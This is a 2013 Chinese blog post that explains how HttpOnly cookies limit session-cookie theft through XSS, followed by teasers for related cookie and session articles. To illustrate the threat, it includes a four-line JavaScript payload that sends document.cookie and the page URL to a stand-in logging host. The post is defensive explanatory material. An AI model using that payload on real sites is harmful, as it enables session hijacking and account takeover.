使用Http-only Cookie来防止XSS攻击

标签: 程序设计 Cookie | 发表时间:2013-05-28 12:56 | 作者:标点符
出处:http://www.biaodianfu.com

www服务依赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie来标记访问者的状态。只要获得这个Cookie,就可以取得别人的身份,入侵个人账户或者网站。

对于网站来说,一旦存在了xss漏洞就意味着入侵者可以在浏览器中执行任意的JS脚本,这时候获得Cookie就变得非常的简单。Cookie保存在浏览器的document对象中,只要使用JS读取Cookie就能拥有其他人的身份。一个很简单的xss攻击语句如下:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src="http://www.xss-log-server.com/c.php?c="+cookie+"&u="+url;

有些网站考虑到这个问题,所以采取浏览器绑定技术,譬如将Cookie和浏览器的User-agent绑定,一旦发现修改就认为Cookie失效。但是这种方法存在很大的弊端,因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定),但是这样有可能带来比较差的用户体验,比如家里的ADSL就是每次连接换一个IP地址。

那如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookie在浏览器document中不可见就行了。Microsoft Internet Explorer 版本 6 Service Pack 1 和更高版本支持 Cookie 属性 Http-Only,该属性有助于缓解跨站点脚本威胁, 如果兼容浏览器接收到 Http-Only Cookie,则客户端脚本不能对它进行访问。Http-Only的参数跟domain等其他参数一样,一旦Http-Only被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我可以采用Http-Only,对于一些需要在网站中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了网站的基本功能。

下面的例子就是Http-Only的设置方法(注意,HttpOnly属性对大小写不敏感):

Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]

Asp.Net设置HttpCookie.HttpOnly 属性的方法: http://msdn.microsoft.com/zh-cn/library/system.web.httpcookie.httponly.aspx

目前主流的浏览器基本上已经都支持了Http-Only属性,具体支持的浏览器请查看: https://www.owasp.org/index.php/HttpOnly

另外,HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交。为了降低跨站点脚本攻击带来的损害,通常需要将HTTP-only Cookie和其他技术组合使用。如果单独使用的话,它无法全面抵御跨站点脚本攻击。比如如果你的站点是使用Asp.Net开发的话,建议使用 Microsoft Web Protection Library

相关 [http only cookie] 推荐:

使用Http-only Cookie来防止XSS攻击

- - 标点符
www服务依赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie来标记访问者的状态. 只要获得这个Cookie,就可以取得别人的身份,入侵个人账户或者网站. 对于网站来说,一旦存在了xss漏洞就意味着入侵者可以在浏览器中执行任意的JS脚本,这时候获得Cookie就变得非常的简单.

applet遇到http-only cookie的处理方式

- - ITeye博客
      1、项目中用applet控件通过HTTP做一些数据的传输操作.       2、项目有用户权限控制,需要登录成功才能进行相关操作,发现用户未登录,则跳转到登陆页面.       3、项目有安全控制,cookie都设置成了http-only,http-only的cookie在js和applet中都是无法操作的.

细说Cookie

- ~Wing~ - 博客园-首页原创精华区
Cookie虽然是个很简单的东西,但它又是WEB开发中一个很重要的客户端数据来源,而且它可以实现扩展性很好的会话状态, 所以我认为每个WEB开发人员都有必要对它有个清晰的认识. 本文将对Cookie这个话题做一个全面的描述, 也算是本人对Cookie的认识总结. Cookie 是一小段文本信息,伴随着用户请求和页面在 Web 服务器和浏览器之间传递.

LTPA Cookie原理

- - Web前端 - ITeye博客
Lightweight Third-Party Authentication (LTPA)是IBM Websphere和Domino产品中使用单点登录技术. 当服务器配置好LTPA认证方式,用户通过浏览器成功登录后,服务器会自动发送一个session cookie给浏览器;此cookie中包含一个LTPA Token.

mysql的table is read only 解决方法

- - CSDN博客系统运维推荐文章
今天,在centos6下把mysql没法启动的数据库文件夹复制到/usr/local/mysql/var下,结果在修改表时,提示”table isreadonly”的错误. 首先想到的是遇到了权限问题,所以就去/usr/local/mysql/var查看了下,果然所有者不是mysql,权限也不正确.

session和cookie详解

- - ITeye博客
摘要:虽然session机制在web应用程序中被采用已经很长时间了,但是仍然有很多人不清楚session机制的本质,以至不能正确的应用这一 技术. 本文将详细讨论session的工作机制并且对在Java web application中应用session机制时常见的问题作出解答. 二、HTTP协议与状态保持.

Cookie深度解析

- - CSDN博客互联网推荐文章
       最近在公司做了Web端单点登录(SSO)功能,基于Cookie实现,做完之后感觉有必要总结一下,本文着重讲解Cookie,下文会说明单点登录的实现方案.        众所周知,Web协议(也就是HTTP)是一个无状态的协议. 一个Web应用由很多个Web页面组成,每个页面都有唯一的URL来定义.

Spring read-only="true" 只读事务的一些概念

- - 企业架构 - ITeye博客
概念:从这一点设置的时间点开始(时间点a)到这个事务结束的过程中,其他事务所提交的数据,该事务将看不见. (查询中不会出现别人在时间点a之后提交的数据). 如果你一次执行单条查询语句,则没有必要启用事务支持,数据库默认支持SQL执行期间的读一致性; . 如果你一次执行多条查询语句,例如统计查询,报表查询,在这种场景下,多条查询SQL必须保证整体的读一致性,否则,在前条SQL查询之后,后条SQL查询之前,数据被其他用户改变,则该次整体的统计查询将会出现读数据不一致的状态,此时,应该启用事务支持.

Cookie:并非洪水猛兽

- - 互联网分析
腾讯科技 雷建平 王可心. 任何事物都有两面性,网易、品友互动等将针对客户的“高超话术”用到央视315暗访人员身上,不但未能提升销售业绩,还致使自己乃至整个互联网营销业深陷舆论危机. 在央视315晚会镁光灯下,不仅身为媒体的网易无意中被推上舞台,品友互动、易传媒、亿玛、悠易、传漾公司这些数字广告平台商“火”了一把:涉嫌通过Cookie盗取用户信息.

文章: Cookie安全漫谈

- - InfoQ cn
在Web应用中,Cookie很容易成为安全问题的一部分. 从以往的经验来看,对Cookie在开发过程中的使用,很多开发团队并没有形成共识或者一定的规范,这也使得很多应用中的Cookie成为潜在的易受攻击点. 在给Web应用做安全架构评审(Security architecture review)的时候,我通常会问设计人员以下几个问题:.